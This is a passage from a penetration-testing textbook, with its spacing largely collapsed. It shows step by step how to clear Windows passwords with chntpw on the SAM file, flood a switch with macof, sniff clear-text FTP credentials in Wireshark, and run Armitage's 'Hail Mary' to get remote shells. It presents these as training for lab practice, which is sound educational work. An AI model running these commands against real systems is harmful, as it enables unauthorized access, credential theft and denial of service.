machine.Toaccomplishthis,youwouldissuethefollowingcommand:chntpw–imntsda1/WINDOWS/system32/config/SAMIn thecommandabove, the“chntpw” isused to start thepassword resetting

program. The “–i” is used to run the program interactively and allow you tochoose the user you would like reset. The“mntsda1/WINDOWS/system32/config/SAM” is the mounted directorycontainingtheSAMfileofourtargetmachine.Itisimportanttomakesureyouhave access to the SAM file; remember not all drives are listed as sda1. Asmentionedearlier,runningthe“fdisk–l”commandcanbehelpfulindeterminingtheappropriatedrive.After running the “chntpw –i mntsda1/WINDOWS/system32/config/SAM”

command,youwillbepresentedwithaseriesofinteractivemenu-drivenoptionsthatwillallowyoutoresetthepasswordforthedesireduser.Eachofthestepsisveryclearlylaidoutanddescribed;yousimplyneedtotakeafewmomentstoread what is being asked. The program is actually designed with a series of“default”answersandinmostcases,youcansimplyhitthe“enter”keytoacceptthedefaultchoice.As shown in Figure 4.12, after loading, the first question you are asked is

“Whattodo[1]?”Abovethequestion,youwillseeaseriesofoptionstochoosefrom.Simplyenterthenumberorletterthatcorrespondstothechoiceyouwantto make and hit the “enter” key to continue. The “[1]” after the questionindicatesthatchoice“1”isthedefault.

FIGURE4.12 Chntpwinteractivemenu.

Inour example,weareplanning to reset thepassword for the administratoraccount,sowecantype“1”andhitenterorsimplyhittheenterkeytoacceptthedefault. Next we are presented with a list of users available on the localWindowsmachine.Youcanselectthedesireduserbytypinginhisorherusername as displayed. Once again, the default option is set to “Administrator”.Figure4.13showsascreenshotoftheavailableusers.

FIGURE4.13 Listofavailableuserstoresetpassword.

Hereagain,wecansimplyhitthe“enter”keytoacceptthedefaultchoiceof“Administrator”.Next,wearepresentedwiththevariousoptionsforeditingtheuseronthetargetmachineasshowninFigure4.14.Pleasenotethatatthisstep,youdonotwanttoacceptthedefaultoption!

FIGURE4.14 Chntpwusereditmenu.

Ratherthanacceptingthedefaultanswerforthisscreen,youwanttobesureyouselectoption“1”toclearthepassword.Afterenteringyourselectiontocleartheuserpassword,youwillgetamessagestating:“passwordcleared!”At thispoint,youcanresetanotheruser’spasswordorenter“!”toquittheprogram.Itisimportant thatyoucomplete the remaining stepsbecauseat thispoint thenew

SAMfilehasnotbeenwrittentotheharddrive.Inthemenuthatfollows,enter“q” toquit the chntpwprogram.At lastyouwill bepromptedwith amessageaskingifyouwouldliketowriteyourchangestotheharddrive.Besuretoenter“y”atthisstepasthedefaultissetto“n”.Thepassword for the selecteduser hasnowbeen cleared and is blank.You

can shut downKali by issuing the “reboot” command and ejecting theDVD.WhenWindowsrestarts,youcan log into theaccountby leaving thepasswordblank.Withalittlepractice,thisentireprocess,includingbootingKali,clearingthe

password,andbootingintoWindows,canbecompletedin<5min.

Wireshark:SniffingNetworkTrafficAnotherpopulartechniquethatcanbeusedtogainaccesstosystemsisnetworksniffing.Sniffing is theprocessofcapturingandviewing trafficas it ispassedalongthenetwork.Severalpopularprotocolsinusetodaystillsendsensitiveandimportantinformationoverthenetworkwithoutencryption.Networktrafficsentwithout using encryption is often referred to asclear text because it is humanreadable and requires no deciphering. Sniffing clear-text network traffic is atrivialbuteffectivemeansofgainingaccesstosystems.Before we begin sniffing traffic, it is important that you understand some

basic network information. The difference between promiscuous mode andnonpromiscuousnetworkmodeswillbediscussedfirst.By default, most network cards operate in nonpromiscuous mode.

Nonpromiscuousmodemeans that the network interface card (NIC)will onlypassonthespecifictrafficthatisaddressedtoit.IftheNICreceivestrafficthatmatchesitsaddress,theNICwillpassthetrafficontothecentralprocessingunit(CPU)forprocessing.IftheNICreceivestrafficthatdoesnotmatchitsaddress,theNICsimplydiscardsthepackets.Inmanyways,anNICinnonpromiscuousmode acts like a ticket taker at amovie theater. The ticket taker stops peoplefromenteringthetheaterunlesstheyhaveaticketforthespecificshow.Promiscuousmodeon theother hand is used to force theNIC to accept all

packetsthatarrive.Inpromiscuousmode,allnetworktrafficispassedontotheCPUforprocessingregardlessofwhetheritwasdestinedforthesystemornot.Inordertosuccessfullysniffnetworktrafficthatisnotnormallydestinedfor

yourPC,youmustmakesureyournetworkcardisinpromiscuousmode.Youmaybewonderinghowitispossiblethatnetworktrafficwouldarriveata

computer or device if the traffic was not addressed to the device. There areseveralpossiblescenarioswherethissituationmayarise.First,anytrafficthatisbroadcastonthenetworkwillbesenttoallconnecteddevices.Anotherexampleisnetworksthatusehubsratherthanswitchestoroutetraffic.A hubworks by simply sending all the traffic it receives to all the devices

connected to its physical ports. In networks that use a hub, your NIC isconstantlydisregardingpacketsthatdonotbelongtoit.Forexample,assumewehaveasmalleight-porthubwitheightcomputersplugged into thehub. In thisenvironment,whenthePCpluggedintoportnumber1wantstosendamessagetothePCpluggedintoportnumber7,themessage(networktraffic)isactuallydeliveredtoallthecomputerspluggedintothehub.However,assumingallthecomputersare innonpromiscuousmode,machines2–6and8simplydisregardthetraffic.Manypeoplebelieveyoucanfixthissituationbysimplyswappingyourhubs

withswitches.Thisisbecauseunlikehubsthatbroadcastalltraffictoallports,switchesaremuchmorediscrete.Whenyoufirstplugacomputerintoaswitch,the media access control (MAC) address of the computer’s NIC is registeredwith the switch. This information (the computer’sMAC address and switch’sportnumber)isthenusedbytheswitchtointelligentlyroutetrafficforaspecificmachinetothespecificport.Goingbacktoyourpreviousexample,ifaswitchisbeingusedandPC1sendsamessagetoPC7,theswitchprocessesthenetworktraffic and consults the table containing theMACaddress andport number. Itthen sends the message to only the computer connected to port number 7.Devices2–6and8neverreceivethetraffic.

Macof:MakingChickenSaladOutofChickenSh∗tIt should be pointed out that the discrete routing property of a switch wasoriginallydesignedtoincreaseperformance,nottoincreasesecurity.Asaresultofthis,anyincreaseinsecurityshouldbeviewedasaby-productofthedesignratherthanitsoriginalgoal.Keepingthisinmind,beforeyourunouttoreplaceallyourhubswithswitches,youshouldbeaware that thereare toolsavailablethat canbeusedagainst a switch tomake it act likeahub. Inotherwords, insomeinstances,wecancauseaswitchtobroadcastalltraffictoallportsmakingitbehaveexactlylikeahub.Most switches have a limited amount of memory that can be used to

remember the table containingMACaddress andcorrespondingportnumbers.ByexhaustingthismemoryandfloodingthetablewithbogusMACaddresses,aswitchwilloftenbecomeincapableofreadingoraccessingvalidentries in theMACtoport table.Because theswitchcannotdetermine thecorrectport foragiven address, the switch will simply broadcast the traffic to all ports. Thismodelisknownas“failopen”.Theconceptoffailopensimplymeansthatwhentheswitchfailstoproperlyanddiscretelyroutetraffic,itfallsbacktoahub-likestate(open)thatsendsalltraffictoallports.You should be aware that some switches are configured to “fail closed”.

Switches that fail closedoperate inexactly theoppositemannerofa failopenswitch. Rather than broadcasting all traffic to all ports, fail closed switchessimplystoproutingtrafficaltogether.However,asapenetrationtesterorhacker,there is an upside to this configuration aswell. If you are able to prevent theswitch from routing traffic, you have stopped all traffic on the network andcausedadenialofservice.Assumethatduringyourpenetrationtest,youdiscoveredaswitchwithanIP

addressof192.168.18.2.Letusalsoassumethatthemachineyouarecurrentlyusing(eitherdirectlyorthroughpivoting)isconnectedtotheswitchandthatyouwant to sniff all the traffic flowing through the device in order to discoveradditionaltargetsandlocateclear-textpasswords.Dsniff is anexcellent collectionof tools thatprovidemanyuseful functions

for sniffing network traffic. It is recommended that you take time and revieweachofthetoolsanddocumentationincludedwithdsniff.OneofthedsnifftoolswrittenbyDugSong,calledmacof,providesuswiththeabilitytofloodaswitchwith thousands of randomMAC addresses. If the switch is configured to failopen,theswitchwillbegintoactlikeahubandbroadcastalltraffictoallports.Thiswillallowyou toovercome theselective routingofaswitchandsniffallnetworktrafficpassingthroughthedevice.Macof isbuilt intoKaliandcanberunbyissuingthefollowingcommandinaterminalwindow:macof–ieth0–s192.168.18.130–d192.168.18.2Intheprecedingexample,“macof”isusedtoinvoketheprogram.Themacof

programwillgenerateandfloodthenetworkwiththousandsofMACaddresses.The“–i”switchisusedtospecifyyourcomputer’snetworkcard.ThisiswheretheMAC addresseswill be sent from. The “–s” is used to specify the sourceaddress. The “–d” is used to specify the destination or target of your attack.Figure4.15showsanexampleofthecommandusedtostartmacof,andasmallselectionofthegeneratedoutput.

FIGURE4.15 Usingmacoftofloodaswitch.

Asafinalwordofcaution,usingmacofwillgeneratetremendousamountsofnetworktrafficandisthereforeeasilydetectable.Youshouldusethistechniqueonlywhenstealthisnotaconcern.With the concepts of promiscuousmode and the ability to sniff traffic on a

switchinmind,youcanexamineanotherpopulartoolthatcanbeusedtoviewand capture network traffic. One of the simplest andmost powerful tools forsniffingnetworktrafficisWireshark.WiresharkwasoriginallywrittenbyGeraldCombsin1998.Thispopulartoolisafreenetworkprotocolanalyzerthatallowsyou toquicklyandeasilyviewandcapturenetwork traffic.YoucandownloadWireshark for free from http://www.wireshark.org. Wireshark is an extremelyflexible andmature tool. It shouldbenoted thatprior to2006,WiresharkwasknownasEthereal.Eventhoughtheprogramremainedthesame,thenamewaschangedbecauseofsometrademarkissues.Wireshark is built into Kali and can be accessed through the all programs

menuorbyopeningaterminalwindowandenteringthe“wireshark”commandasshownbelow:wiresharkBesurethatyouhaveenabledandconfiguredatleastonenetworkinterfacein

KalibeforerunningWireshark.The instructionsfordoing thiscanbefoundinChapter1.WhenyoufirststartWiresharkinsideofKali,youwillgetamessagetelling

you that “runningWireshark as user ‘root’ can be dangerous.” You can click“Ok”toacknowledgethiswarning.Next,youwillneedtoselectyournetworkcardandensurethatitisproperlysetuptocaptureallavailabletraffic.Youcandothisbyclickingontheiconshowinganetworkcardandamenulist.Theiconislocatedintheupperleftcorneroftheprogram.Figure4.16showsascreenshotofthebutton.

FIGURE4.16 Wiresharkbuttontoselectthecaptureinterface.

Selectingthe“listavailablecaptureinterfaces…”buttonwillbringupanewwindowdisplaying all the available interfaces. Fromhere, youwill be able toview and select the appropriate interface. You can begin a simple capture bychoosing the appropriate interface, accepting the defaults, and clicking on the“start”button.Youcanalsocustomizeyourcaptureoptionsbyclickingon the“options” button. Figure 4.17 shows an example of the Wireshark CaptureInterfaceswindow.

FIGURE4.17 Wiresharkcaptureinterfacewindow.

Becausewearefocusingonthebasics,wewillleavethedefaultoptionsandselect the “start” button. On a busy network, the Wireshark capture windowshouldfillrapidlyandcontinuetostreampacketsaslongasyouletthecapturerun. Do not worry about attempting to view this information on the fly.Wiresharkallowsustosavethecaptureresultsandreviewthemlater.Recall from Chapter 3 that our Linux target (Metasploitable) had an FTP

serverrunning.Todemothepowerofnetworksniffing,firstbeginaWiresharkcaptureandthenopenanewterminalandlogintothetargetFTPserverwhichisrunningonMetasploitable.ToaccessanFTPserverfromtheterminalwindow,

issue the command “ftp” followed by the IP address of the server you areattemptingtoaccessasshownbelow:ftpip_address_of_ftp_serverAtthispoint,youwillbepresentedwithaloginprompt.Provideausername

ofownedbandapasswordoftoor.Pleasenotethatifyouareattemptingtologinto theMetasploitable FTP server, your credentialswill be invalid.However,for the purpose of this demo, that is acceptable. After letting the Wiresharkcapture run for several seconds afteryouattempt to login, stop the capturebyclickingonthebuttonwithanetworkcard;ared“x”.ThisbuttonislocatedinthemenuatthetopoftheWiresharkcapturewindowasshowninFigure4.18.

FIGURE4.18 StoppingtheWiresharkcapture.

Oncethenetworkcapturehasbeenstopped,youarefreetoreviewthepacketscapturedbyWireshark.Youshouldtakesometimetoreviewyourcaptureandattempt to identify any relevant information. As shown in Figure 4.19, ourpacketdumpwasable tosuccessfullycapture theusername,password,andIPaddressoftheFTPserver!Eventhoughourloginwasincorrect,youcanseethatuser name andpasswordwere passedon thewire (and capturedbyour attackmachine)incleartext.Manyorganizationstodaystilluseclear-textprotocols.Ifwe had been recording an actual session where a user had successfullyauthenticatedwiththeserver,wecouldusetheinformationtologintotheFTPserver.

FIGURE4.19 UsingWiresharktosniffFTPcredentials.

Ifyouperformedacaptureonaparticularlybusynetwork,youmayfindthevolume and sheer number of captured packets overwhelming. Manuallyreviewing a large packet capture may not be feasible. Luckily, Wiresharkincludesafilter thatcanbeusedtodrilldownandrefine thedisplayedoutput.Revisitingourpreviousexample,wecouldenterthekeyword“ftp”inthefilterbox and click the “apply” button. This will cause Wireshark to remove allpacketsthatdonotbelongtotheFTPprotocolfromourcurrentview.Obviously,this will significantly reduce the number of packets we need to review.Wiresharkincludessomeincrediblypowerfulfilters.ItiswellworththeefforttotakethetimetoreviewandmasterWiresharkfilters.Itshouldbepointedoutthatyou can always removeyour current filteredviewandgoback to the originalpacketcapturebyclickingthe“clear”button.

Armitage:IntroducingDougFlutieofHackingIf you are a sports fan, you probably remember (or have heard about) DougFlutie’s last second Hail Mary pass to give BC the win over Miami. In thissection,wearegoingtodiscussMetasploit’sHailMaryimplementation.ArmitageisaGUI-drivenfront-endwhichsitsontopofMetasploitandgives

ustheabilityto“hacklikethemovies”.ArmitageisavailableforfreeandbuiltintoBacktrack.IfyouarerunningKali,youmayneedtoinstallitbeforeusing.Youcan review thedetails ofArmitagebyvisiting theofficial project page athttp://www.fastandeasyhacking.com/.

ADDITIONALINFORMATIONIfyourversionofKalidoesnothaveArmitage installed,youcaninstallitbyrunningthefollowingcommands:apt-getinstallarmitageOnce Armitage has been installed, you will need to start the

PostgreSQL service by issuing the following command in aterminal:servicepostgresqlstartAt this point, you should be able to proceed with running

Armitageasdiscussedinthissection.Ifyougetanerrormessagethat says “Try setting MSF_DATABASE_CONFIG to a file thatexists,” you will need to run the following command and restartArmitage:servicemetasploitstart

AnearliersectiondescribedtheuseofMetasploitasasniperriflefortakingdown vulnerable and unpatched systems.Armitage is built onMetasploit; butrather than requiring thepenetration tester todig forvulnerabilities andmatchexploits, Armitage includes functionality which can be used to automate theentireprocess.WhenusingArmitage’s “HailMary” function, theonly thing apenetrationtesterneedstodoistoenterthetarget’sIPaddressandclickafewicons.ThereisnothingsubtleorstealthyaboutArmitage’sHailMaryfunction.The

tool works by conducting a port scan of the target; based on the informationreturnedfromtheportscan,Armitagesprayseveryknownorpossiblematchingexploitagainstthetarget.Armitagetakesthe“let’sthroweverythingatthewallandseewhatsticks”approachtoexploitation.EvenifArmitageissuccessfulingettingashell,thetoolcontinuessprayingattacksagainstthetargetuntilallthepossibleexploitshavebeenattempted.Whenusedagainstweaktargets,thiswilloftenleadtomultipleshells.It is important to point out that Armitage can be utilized in a much more

subtleway including conducting reconnaissance and scanning against a singletarget. However, for the purpose of this book, we will focus on the M-60approachofsprayingasmanybulletsaspossibleandfocusingonsheervolume

ratherthanaccuracy.Armitage can be accessed by navigating theKali, all programsmenu or by

openingaterminalandenteringthe“armitage”commandasshownbelow:armitageAfter entering the command into a terminal, you will be presented with a

“connect…” dialog box as shown in figure 4.20. To start Armitage, you canleavethedefaultvaluesandclickthe“connect”button.

FIGURE4.20 StartingArmitage.

Afterclickingthe“connect”button,youwillbepresentedwithadialogboxwhich askswhether youwant to startMetasploit. Select thedefault answerof“yes”. Next, you will be presented with a “java.net.ConnectionException:Connectionrefused”dialogbox.Just leavethiswhileArmitageandMetasploitgeteverythingsetup foryou.EventuallyyouwillbepresentedwithaGUIasshowninFigure4.21.

FIGURE4.21 InitialArmitagescreen.

ThemainArmitagescreencanbesubdividedupintotwoareas.Thetophalfconsistsof theGUIwhichallowsyou to interactwithMetasploit,whereas thebottomhalfprovidescommandlineaccessforeach interaction(as ifyouwereutilizingtheterminalratherthanaGUI).Youcanusebothpanelstointeractwiththetarget.AsyouperformmoreactionsutilizingthetophalfofArmitage,newcorrespondingtabswillautomaticallyopenforyouonthebottomhalf.Youcaninteractwith the various tabs by clickingon themand typing in the displayedterminal.

ALERT!ArmitageprovidesatonoffunctionalityaboveandbeyondtheHailMaryattack thatwearegoing touse.Takesome time to learn itsfullpotential.

WhyLearnFiveToolsWhenOneWorksJustasWell?Whenallelsefails,youmaywanttobustouttheM-60.TheeasiestwaytodothisistoaccessArmitage’s“HailMary”program.However,beforewecanbeginsprayingexploitsatourtarget,weneedtodoalittleprework.First,weinstructArmitagetoscanourlocalnetworkandidentifyanylivetargets.Torunascan,click on the “hosts” option located in themenu and then choose “QuickScan(OSdetect)”asshowninFigure4.22.

FIGURE4.22 RunningaNmapscanfromArmitagetoidentifytargets.

Afterselectingthe“QuickScan(OSdetect)”youwillneedtoprovideavalidIPaddressorIPrangetoscan.Oncethescanhasfinished,anyidentifiedtargetswill now show up as a monitor in the workspace. Figure 4.23 provides anexampleofthisoutput.Amessageboxwillalsoappearinstructingyouto“UseAttacks→FindAttacks”tolocateexploits.

FIGURE4.23 ScreenshotshowingArmitagehasidentifiedapotentialtarget.

AslongasArmitagehasidentifiedatleastonepotentialtarget,youarereadytounleashatorrentofexploits.Toaccomplishthis,simplyclick“Attacks”fromthemenufollowedby“HailMary”asshowninFigure4.24.

FIGURE4.24 RunningaHailMarywithArmitage.

Clicking the Hail Mary option will cause Armitage to let loose a flood ofexploitsagainstyourtarget.Thetoolwillbeginrunningandissuingcommandsautomatically. This process may take several minutes to complete. You canwatch the progress of the program as it scrolls by in the bottom half of thewindow.Armitagewillalsopresentyouwithaprogressbartoletyouknowhowfar along the process has progressed. To be clear, at this point Armitage iscorrelating the Nmap findings with the exploits inMetasploit and is sendingevery relevant exploit against the target. There is nothing stealthy orsurreptitious about this method. Pay close attention to the GUI monitorrepresentingyour targetwithinArmitage; if the targetbecomesoutlined in red

lightningbolts,Armitagehassuccessfullycompromised the target.Figure4.25showsanexampleofacompromisedtargetwiththreeactiveremoteshells.

FIGURE4.25 Armitagesuccessandthreeremoteshells.

WhenArmitagehasexhausted itssupplyofpotentialexploits,youcanviewany and all of the shells that were obtained by right clicking on the (nowlightning-boltwrapped)monitorasshowninFigure4.26.

FIGURE4.26 InteractingwitharemoteshellthroughArmitage.

Atthispointyoucaninteractwiththetarget,uploadprogramsandmaterialtothe target, or perform a variety of other attacks. To gain a shell and runcommandsontheremotetarget,clickthe“interact”option.ThiswillallowyoutoissueandruncommandsinthelowerterminalwindowofArmitage.All thecommandsyourunwillexecuteon the remotemachineas ifyouhadphysicalaccessandweretypingatalocalterminalonthetarget.Obviouslyatthispoint,theexploitationphaseisoverforthistarget!

HowDoIPracticeThisStep?Practicing exploitation is one of the most challenging, frustrating, time-consumingand rewarding experiences that can be offered to newhackers andpenetration testers. It isprobablya fair assumption that ifyouare reading thisbook, you are interested in hacking. As mentioned earlier, the process ofexploitationis thesinglestepmostoftenassociatedwithhacking(eventhoughyou nowknow it ismuchmore!). If you have never successfully “owned” orexploited a target, you are in for quite a treat. The experience of gainingadministrativeaccessonanothermachineisathrillthatisbothelectrifyingandunique.There are several ways to practice this step; the easiest way is to set up a

vulnerable target in your penetration-testing lab. Once again, using virtualmachines ishelpfulbecauseexploitationcanbeaverydestructiveprocessandresettingavirtualmachine isofteneasierand faster than reimagingaphysicalmachine.

Ifyouarenewtoexploitation,itisimportantthatyouhaveafewimmediatesuccesses. This will keep you from getting discouraged as you progress andmoveontomoredifficult targetswhere theexploitationprocessbecomesmoretedious and difficult. As a result, it is suggested that you start learningexploitation by attacking old, unpatched versions of OSs and software.Successfullyexploitingthesesystemsshouldgiveyoumotivationtolearnmore.There are many examples of students becoming quickly and permanentlydisillusionedwithexploitationandhackingbecausetheyattemptedtoattackthelatest-greatest-fully-patchedOSandfellflatontheirface.Rememberthisbookfocusesonthebasics.Onceyoumasterthetoolsandtechniquesdiscussedhere,youwillbeabletomoveontothemoreadvancedtopics.Ifyouarenewtothisprocess,letyourselfwinalittleandenjoytheexperience.As mentioned several times, you should try to obtain a legal copy of

Microsoft’sXPtoaddtoyourpentestinglabenvironment.Youshouldbeabletofind a legal copy on eBay, Amazon, or Craigslist. Just make sure you arepurchasingagenuinecopysothatyoucanstayontherightsideoftheend-userlicenseagreement.ItisalwayssuggestedthatnewcomersbeginwithXPbecausethere are still abundant copies available and there are standing exploits in theMetasploitframeworkthatwillallowyoutopracticeyourMetasploit-fu.As discussed in Chapter 1, when building your pen testing lab, it is

recommended thatyoubeginby finding the lowestservicepackeditionofXPpossible.Each servicepack release fixesandaddressesanumberofholesandvulnerabilities.With this advice inmind,XPwith no service pack installed isbest.XPSP1wouldbenextbest;however,XPSP2andXPSP3alsomakefinetargets.BeawarethatMicrosoftintroducedsomesignificantsecuritychangestoXP beginning with service pack 2. Regardless of whether you choose XP,Vista,Windows7oreven8,youwillprobablyfindatleastonestandingexploit.IencourageyoutostartwitholderversionsandworkyourwayuptothemodernOSs.Old versions of Linux are also a great source of “exploitable targets”. The

crew from Kali created a free Metasploit training module called “MetasploitUnleashed”. It is strongly recommended that you explore this resource aftercompleting this book. The Metasploit Unleashed project contains a detaileddescriptionofhow todownloadandsetupUbuntu7.04withSamba installed.Creating a virtualmachinewithUbuntu 7.04 and Samba running is away ofsetting up a free (as in no cost) vulnerable target and allows you to practiceattackingaLinuxsystem.

Finally,ThomasWilhelmhasgraciouslycreatedandofferedforfreeaseriesofentertaining,challenging,andhighlycustomizableliveLinuxCDscalledDe-ICE. The De-ICE CDs allow you to practice a series of penetration testingchallengesfollowingarealisticscenario.YoucangetyourhandsonthesegreatCDs by downloading them at http://heorot.net/livecds/. The CDs are greatbecausetheypresentyouwitharealisticsimulationofanactualpenetrationtest.AnothergreatfeatureoftheDe-ICECDsisthatyouwillnotbeabletosimply

autopwn your way through the challenges. EachDe-ICECD includes severaldifferent levels of challenges that youmust complete.As youwork yourwaythroughthechallenges,youwillneedtolearntothinkcriticallyandusemanyofthetoolsandtechniqueswehavediscussedinsteps1–3.The only word of caution when using these awesome CDs (or any

preconfiguredlabforthatmatter)isthatyoushouldbeverycarefulaboutaskingfortoomuchhelp,givinguptoosoon,andrelyingonthehintstoooften.LiveCDslikeDe-ICEholdatremendousvaluebutoftentimesyouonlygettoworkthrough them a single time. Once you have read the hint or solution to aproblem,thereisnowaytoput the“answerJinni”backintothebottle,asyouwillmostlikelyremembertheanswerforever.Asaresult,youareencouragedtohavepersistenceandtoughitout.Ifyouhavereadandpracticedeverythingthathas been discussed up to this point, you will have the ability to gainadministrativeaccesstothefirstDe-ICEdisk.Of course, you can always go back and rerun the challenges and you are

encouragedtodoso,butitwillbedifferentthesecondtimearoundbecauseyouwill know what to look for. Take your time, enjoy the challenge, and workthrough the issues you encounter.Believe it or not, there is tremendous valueandlearningpotentialinbangingyourheadagainstaseeminglyinsurmountableproblem. If you want to be a penetration tester, you will need to learn to bepersistentandresourceful.Embrace thechallengesyouencounterasa learningsituationandmakethemostofthem.Settingupandworkingyourwaythroughallthevulnerabletargetsdescribed

aboveshouldbeanenjoyableprocess.Belowyouwillfindsomespecifictipsforsettinguptargetstopracticeeachofthetoolsthatwerediscussedinthischapter.The easiestway to practiceMedusa is to start a remote process on a target

machine.TrystartingTelnetonaWindowsmachineandSSHorFTPonaLinuxmachine. You will need to create a few additional users and passwords withaccess to the remote services.Onceyouhave the remote service running, youcanpracticeusingMedusatogainaccesstotheremotesystem.

Aswehavementioned,theeasiestwaytopracticeMetasploitandArmitageisbysettingupanolderversionofWindowsXPasthetarget;rememberthelowertheservicepack,thebetter.YoucanalsodownloadacopyofUbuntu7.04andinstallSambaonit.Fortheexamplesinthisbook,wehaveusedMetasploitable.TopracticewithJtRandchntpw,youcansetupavictimmachinewithseveral

useraccountsanddifferentpasswords. It ishighlysuggested thatyouvary thestrengthofthepasswordsforeachaccount.Makeafewuseraccountswithweakthree-and four-letter passwords and make others with longer passwords thatincludeuppercaseandlowercaselettersalongwithspecialcharacters.

WhereDoIGofromHere?Atthispointyoushouldhaveasolidunderstandingofthebasicstepsrequiredtoexploitandgainaccesstoasystem.Rememberyourattackmethodswillchangebasedonyourtargetanddesiredgoal.Nowthatyouunderstandthebasics,youshouldbereadytotacklesomemoreadvancedtopics.YoushouldtakesometimeandreviewthepasswordbruteforcingtoolHydra.

ThistoolfunctionsmuchlikeMedusabutprovidesafewextraswitchestogiveyousomeadditionaloptions.CarefullyrevieweachoftheswitchessupportedbyHydra.YoucanfindtheswitchesandabriefdescriptionbyreviewingtheHydraman pages. It is recommended that you pay special attention to the timingoption. The ability to control the timing or rate of connections is handy forcorrectingmanyconnectionerrors thatoccurwhenweutilizeonlinepasswordcrackers.Alongwithyourownpersonalpassworddictionary,youshouldbeginbuilding

alistofdefaultusernamesandpasswordsforvariousnetworkdevices.Asyouprogressinyourpenetrationtestingcareer,youwillprobablybesurprisedathowoften youwill come across devices like routers, switches,modems, firewalls,etc.,thatstilluseadefaultusernameandpassword.ItisnotuncommontofindPT storieswhere the penetration testerwas able to take complete control of aboarderrouterandredirectallinternalandexternaltrafficbecausethecompanyadministrator had forgotten to change the default user name and password. Itdoeslittlegoodtospendtimeconfiguringandsecuringyourdeviceifyoufailtochange the user name and password. There are several good starter lists ofdefaultusernamesandpasswordsavailableonline.AnothergreattoolforpasswordcrackingisRainbowCrack.RainbowCrackis

a tool that reliesonRainbow tables to crackpasswords.ARainbow table is a

precomputed listofpasswordhashes.Recall that traditionalpassword-crackingtools like JtR go through a three-step process. First, the toolmust generate apotentialpassword;next,thetoolneedstocreateahashofthechosenword;andfinally, thepassword-cracking toolhas tocompare thegeneratedhashwith thepasswordhash.Rainbowtablesaremuchmoreefficientbecausetheymakeuseofprecomputedpasswordhashes.Thismeansthatthecrackingprocessreducestwooutofthethreestepsandsimplyneedstocomparehashestohashes.Thereare lotsofgreat tools thatcanbeexploredandused forsniffing. It is

highly recommended that you spend time getting to know and useWireshark.Thisbookcoveredonlythebasics,butWiresharkisadeepprogramwithmanyrichfeatures.Youshould learnhowtouse thefilters, followdatastreams,andviewinformationonspecificpackets.OnceyouarecomfortablewithWireshark,digging into dsniff is highly recommended.Asmentioned earlier, dsniff is anincrediblesuitewithtonsofgreattools.Withsomeself-studyandpractice,youcanevenlearntointerceptencryptedtrafficlikeSSL.OnceyouarecomfortablewithWireshark, you should take a look at a command like tool like tcpdump.Tcpdump is a great option for capturing and viewing network traffic from theterminalwhenaGUIisnotavailable.Ettercapisanotherfantastictoolthathasmanypowerfulfeaturesandabilities.

Ettercapisagreattoolforconductingman-in-the-middleattacks.Ettercapworksby tricking clients into sending network traffic through the attacker machine.ThisisagreatwaytogetusernamesandpasswordsfrommachinesonthelocalLAN.OnceyouhavesuccessfullystudiedandusedWireshark,dsniff,tcpdump,andEttercap,youwillbewellonyourwaytomasteringthebasicsofnetworksniffing.AfterreviewingandunderstandingthebasicsofMetasploit,youshoulddigin

andlearn thedetailsof theMeterpreterpayload.Therearedozensofswitches,commands, and ways to interact with the Meterpreter. You should learn andpractice them all. Learning how to control this amazing payload will paymountains of dividends in your exploitation career. It is important that youunderstandusingMetasploit incombinationwith theMeterpreter isoneof themost lethal amalgamations available to a new penetration tester. Do notunderestimate or overlook this powerful tool. We will dive into moreMeterpreterdetailsinstep4whenwediscusspostexploitation.Untilnowonlyautomatedattackshavebeendiscussed.Eventhoughitcanbe

extremely entertaining to push buttons and pwn remote systems, if you neveradvanceyour skill levelbeyond thispoint,youwillbea scriptkiddie forever.

Initially,we all start out as a personwhomust rely on others to develop andreleasenewexploittools,buttobecometrulyeliteyouwillneedtolearnhowtoread,write,andcreateyourownexploits.Whilecreatingyourownexploitsmayseemdaunting at first, it is a process that becomesmuch easier themore youlearn. A good place to start learning about exploitation is by getting to knowbufferoverflows.IfyoucannotfindamatchingexploitinMetasploit,trysearchingtheExploit-

DB. This is a public repository of exploits and Proof of Concept code.Oftentimes the exploit code can be downloaded, tweaked, and launched tosuccessfullyownyourtargetsystem.Stackandheap-basedbufferoverflows,whichareresponsibleformanyofthe

exploits available today, often seem like magic or voodoo to newcomers.However, with some dedicated and careful self-study, these topics can bedemystifiedandevenmastered.Advancingyourskillleveltothepointofbeingabletofindbufferoverflows

and write shell code often requires some additional training. Although thistraining is not strictly required, it certainly makes the process of learningadvancedexploitationmucheasier.Wheneverpossible,youshould spend timelearningaprogramming language like “C”.Onceyouare comfortablewithC,you should focus on understanding at least the basics ofAssemblyLanguage.Havingasolidunderstandingofthesetopicswillhelpdispelmuchofthe“black-magic”feelmanypeoplehavewhentheyfirstencounterbufferoverflows.Finally, since we are on the subject of programming, I encourage you to

becomeproficientinascriptinglanguageaswell.PythonandRubyareexcellentchoicesandcanhelpyouextendandautomatetoolsandtasks.

SummaryThis chapter focused on step 3 of our basic methodology: exploitation.Exploitation is the processmost newcomers associate directlywith “hacking”.Because exploitation is a broad topic, the chapter examined several differentmethods for completing this step including using the online password crackerMedusa to gain access to remote systems. The process of exploiting remotevulnerabilitieswithMetasploit was discussed aswell as several payloads thatcanbeusedwithMetasploit.JtRwasintroducedforcrackinglocalpasswords.Atoolforpasswordresettingwasshownforthosetimeswhenapenetrationtesterdoesnothavetimetowaitforapasswordcracker.Wiresharkwasusedtosniff

dataoffthenetworkandmacofwasusedtosniffnetworktrafficonaswitchednetwork. Finally,Armitagewas shown as a one-stop shop for the exploitationphase.

CHAPTER5

SocialEngineering

InformationinThisChapter:

TheBasicsofSETWebsiteAttackVectorsTheCredentialHarvesterOtherOptionswithinSET

IntroductionThischapterfocusesontakingwhatyoulearnedinChapter2andcontinuingtobuild upon your knowledge of social engineering. You will also learn theimportanceofmakingabelievableattackvector.Socialengineeringisoneoftheeasiest techniques that can be used for gaining access to an organization orindividualcomputer;yetitcanbeoneofthemostchallengingifyoudonotdoyourhomeworkonyour targetandvictims.Agoodsocialengineerexpertwillspendtimecraftinghisorherpretext(attackvector)andformulateabelievablefantasy that has every detail accounted for. This attack has to be believable

enoughthatnonegativeperceptionsarecreatedontherecipientsendandthatnoalarmsareraisedduringtheprocessofmakingthefantasyareality.Oneofmyfavoritesocialengineeringengagementswasperforminganattack

